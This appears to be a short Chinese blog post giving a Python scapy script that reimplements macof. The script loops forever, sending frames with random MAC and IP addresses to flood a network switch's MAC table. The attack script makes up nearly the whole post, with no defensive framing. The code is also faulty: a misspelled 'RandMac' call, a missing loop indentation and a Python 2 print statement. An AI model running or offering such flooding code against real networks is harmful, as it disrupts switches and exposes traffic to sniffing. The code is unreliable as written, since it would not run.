Python实现macof

2023-01-31 02:01:12 python macof

import sys

from scapy.all import *

import time

iface="eth0"

if len(sys.argv)>=2:

    iface=sys.argv[1]

while(1):

eth = Ether(src=RandMac("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*"))

arp = IP(src=RandIP("*.*.*.*"),dst=RandIP("*.*.*.*"))

print eth.dst

packet = eth/arp/ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)


相关文章